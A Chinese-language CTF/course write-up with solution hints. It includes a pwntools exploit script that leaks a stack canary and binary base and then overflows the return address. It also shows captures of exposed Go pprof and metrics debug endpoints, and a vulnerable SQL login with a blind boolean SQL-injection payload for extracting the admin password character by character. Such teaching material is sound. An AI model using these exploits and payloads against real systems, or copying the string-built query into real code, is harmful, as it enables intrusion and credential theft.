

PWN 部分

- 可以参考 [pwn-college-memory-error](#) Level10-Level15部分的思路。题目类似但是具体情况不同，建议学会后复现一下课堂上的题。需要注意的是Level13他的做法存在错误，我们的docker是没法用gdb attach到这个suid的程序的。合适的做法是跟Level12一样。
- Level12-15 均可以用同一种方式做出来（感谢 @陈绍民 同学提供的思路），下面是 Level15 的示例 payload

```
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

# io = process("/challenge/babymem_level14.0")
io = remote("127.0.0.1", 1337)

io.recvuntil(b" (rsp+0x00b8) | ")
io.recvuntil(b" | ")
canary = int(io.recvuntil(b" |", drop=True), 16)
log.success(f"{canary}=#x}")

io.recvuntil(b" (rsp+0x00c8) | ")
io.recvuntil(b" | ")
elf_base = int(io.recvuntil(b" |", drop=True), 16) - 0x2b45
log.success(f"{elf_base}=#x}")

tob = lambda x: str(x).encode()

payload = flat([
    0x088-0x10:[
        canary,
        0,
        elf_base + 0x01EFC,
    ]
])
# size = flag-buf_addr
io.sendlineafter(b"Payload size:", tob(len(payload)))
io.sendafter(b"Send your payload", payload)

io.interactive()
```

Web 部分

debug leak

go 语言有个 `prometheus`，是个监控工具，`pprof`一般是在 `/debug/pprof` 路径下，`prometheus`一般是在 `/metrics` 路径下，正常情况下，这些路径应该被鉴权，但是实际上，部分运维人员debug之后并没有删除接口或者做必要的鉴权操作，导致信息泄露风险。

```
← ↻ ⚠ 不安全 | 124.16.111.96:37183/debug/pprof/allocs?debug=1

# 0x50e2d4 regexp.syntax.(*compiler).compile+0x1474 /usr/local/go/src/regexp/syntax/compile.go:101
# 0x50e04d regexp.syntax.(*compiler).compile+0x147 /usr/local/go/src/regexp/syntax/compile.go:147
# 0x50ccb8 regexp.syntax.compile+0x138 /usr/local/go/src/regexp/syntax/compile.go:74
# 0x5237fa regexp.compile+0x7a /usr/local/go/src/regexp/regexp.go:182
# 0x5243b0 regexp.compile+0x30 /usr/local/go/src/regexp/regexp.go:137
# 0x5243a5 regexp.MustCompile+0x25 /usr/local/go/src/regexp/regexp.go:317
# 0x7b26bc github.com/go-playground/validator/v10.init.0+0x9c /go/pkg/mod/github.com/go-playground/validator/v10@v10.20.0/postcode_regexes.go:1
# 0x44a725 runtime.dolnith+0x125 /usr/local/go/src/runtime/proc.go:6506
# 0x44a670 runtime.dolnith+0x70 /usr/local/go/src/runtime/proc.go:6483
# 0x44a670 runtime.dolnith+0x70 /usr/local/go/src/runtime/proc.go:6483
# 0x44a670 runtime.dolnith+0x70 /usr/local/go/src/runtime/proc.go:6483
# 0x43d0e5 runtime.main+0x1c5 /usr/local/go/src/runtime/proc.go:233

0: 0 [1: 256] @ 0x504507 0x4f279b 0xa4e58f 0xa4dc44 0xa50805 0xa5056d 0xa4d30b 0xa5c5a5 0xa5d0f3 0x93d319 0xa5f0cd 0xa5f0ba 0x935ff5 0x935a5e 0x93557d 0x6f9e56 0:
# 0x504506 strings.(*Builder).Write+0x86 /usr/local/go/src/strings/builder.go:90
# 0x4f279a fmt.Fprintf+0x9a /usr/local/go/src/fmt/print.go:225
# 0xa4e58e runtime/pprof.printCountProfile.func1+0x12e /usr/local/go/src/runtime/pprof/pprof.go:407
# 0x4dc43 runtime/pprof.printCountProfile+0x223 /usr/local/go/src/runtime/pprof/pprof.go:420
# 0xa50804 runtime/pprof.writeRuntimeProfile+0x164 /usr/local/go/src/runtime/pprof/pprof.go:742
# 0xa5056c runtime/pprof.writeGoroutine+0x4c /usr/local/go/src/runtime/pprof/pprof.go:694
# 0xa4d30a runtime/pprof.(*Profile).WriteTo+0x14a /usr/local/go/src/runtime/pprof/pprof.go:329
# 0xa5c5a4 net/http/pprof.handler.ServeHTTP+0x4a4 /usr/local/go/src/net/http/pprof/pprof.go:376
# 0xa5d0f2 net/http/pprof.Index+0xf2 /go/pkg/mod/github.com/gin-gonic/gin@v1.10.0/utlis.go:42
# 0x93d318 github.com/gin-gonic/gin.WrapF.func1+0x58 /go/pkg/mod/github.com/gin-gonic/gin@v1.10.0/context.go:185
# 0xa5f0cc github.com/gin-gonic/gin.(*Context).Next+0x2c /app/hlde/v3rY/d33P/P47h/main.go:139
# 0xa5f0b9 main.main.func1+0x19
```

```
← ↻ ⚠ 不安全 | 124.16.111.96:37183/metrics

# HELP go_gc_duration_seconds A summary of the wall-time pause (stop-the-world) duration in garbage collection cycles.
# TYPE go_gc_duration_seconds summary
go_gc_duration_seconds{quantile="0"} 0.000116752
go_gc_duration_seconds{quantile="0.25"} 0.000175237
go_gc_duration_seconds{quantile="0.5"} 0.000199153
go_gc_duration_seconds{quantile="0.75"} 0.000221515
go_gc_duration_seconds{quantile="1"} 0.000341433
go_gc_duration_seconds_sum 0.027232992
go_gc_duration_seconds_count 134
# HELP go_goroutines Number of goroutines that currently exist.
# TYPE go_goroutines gauge
go_goroutines 10
# HELP go_info Information about the Go environment.
# TYPE go_info gauge
go_info{version="go1.20.2"} 1
# HELP go_memstats_alloc_bytes Number of bytes allocated in heap and currently in use. Equals to /memory/classes/heap/objects:bytes.
```

```
← ↻ ⚠ 不安全 | 124.16.111.96:37183/debug/pprof/mutex?debug=1

--- mutex:
cycles/second=2095090923
sampling period=0
```

sql leak

逻辑

```
username = request.form.get('username')
password = request.form.get('password')

db = get_db()
cur = db.cursor()

query = f"SELECT * FROM users WHERE username='{username}' AND
password='{password}'"
try:
    cur.execute(query)
    user = cur.fetchone()
except sqlite3.Error as e:
    return f"An error occurred: {e}"

if user:
    return 'Login successful!'
else:
    return 'Invalid credentials!'
```

可以看到是一个很明显的拼接。因此username部分我们可以截断后添加自己想要的逻辑，让sql引擎调用，再根据返回结果是成功还是失败，获得一些信息。

如果想要获取admin的password，一个想法是逐位判断，比如：

```
admin' and SUBSTR(password,{i},1)>' {chr(mid)}' --
```

这样看不明显，结合原始query看：

```
SELECT * FROM users WHERE username='admin' and SUBSTR(password,
{i},1)>' {chr(mid)}' --' AND password='{password}'
```

其中 `--` 是注释符，后面的内容被sql引擎忽略。因此，这个sql语句的意思就变成了**admin的password的第i位是不是大于{chr(mid)}? (ascii码是mid对应的字符)?** 通过sql引擎忠实的回答，我们可以二分查找获取密码的第i位，进而获取整个密码。很多同学可能不是做web的，所以对sql语句不是很熟悉，但是解释一下大概知道存在这样的信息泄露思路就好，很多时候并不是整段大量的泄露才有用。